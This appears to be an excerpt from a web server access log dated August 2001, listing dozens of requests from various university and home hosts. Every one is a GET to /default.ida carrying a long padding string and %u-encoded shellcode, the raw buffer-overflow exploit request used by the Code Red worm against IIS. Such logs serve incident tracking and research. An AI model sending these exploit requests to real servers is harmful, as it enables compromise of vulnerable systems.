  924. 20010830 09:12:48: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  925. 20010830 09:21:55: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  926. 20010830 09:30:33: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  927. 20010830 09:47:16:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  928. 20010830 10:37:08: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  929. 20010830 11:04:00: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  930. 20010830 11:05:46:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  931. 20010830 11:19:40:  [61.144.136.11] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  932. 20010830 11:41:45: r77h126.res.gatech.edu [128.61.77.126] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  933. 20010830 11:45:23:  [206.47.90.78] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  934. 20010830 12:26:00: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  935. 20010830 12:26:19:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  936. 20010830 12:26:38: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  937. 20010830 13:08:43: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  938. 20010830 14:00:57: syed.resnet.tamu.edu [128.194.20.189] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  939. 20010830 14:04:13: r118183.res.Lehigh.EDU [128.180.118.183] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  940. 20010830 14:45:23: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  941. 20010830 15:07:11:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  942. 20010830 15:31:22: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  943. 20010830 15:49:40: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  944. 20010830 16:46:48:  [202.31.150.173] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  945. 20010830 17:21:18: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  946. 20010830 17:32:34: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  947. 20010830 17:50:28: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  948. 20010830 18:07:08: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  949. 20010830 18:07:09: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  950. 20010830 18:07:12: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  951. 20010830 18:07:17: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  952. 20010830 18:07:18: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  953. 20010830 18:07:18: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  954. 20010830 18:07:20: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  955. 20010830 18:07:20: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  956. 20010830 18:07:21: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  957. 20010830 18:07:22: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  958. 20010830 18:07:28: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  959. 20010830 18:09:46: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  960. 20010830 18:13:24: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  961. 20010830 18:29:45: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  962. 20010830 18:46:54: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
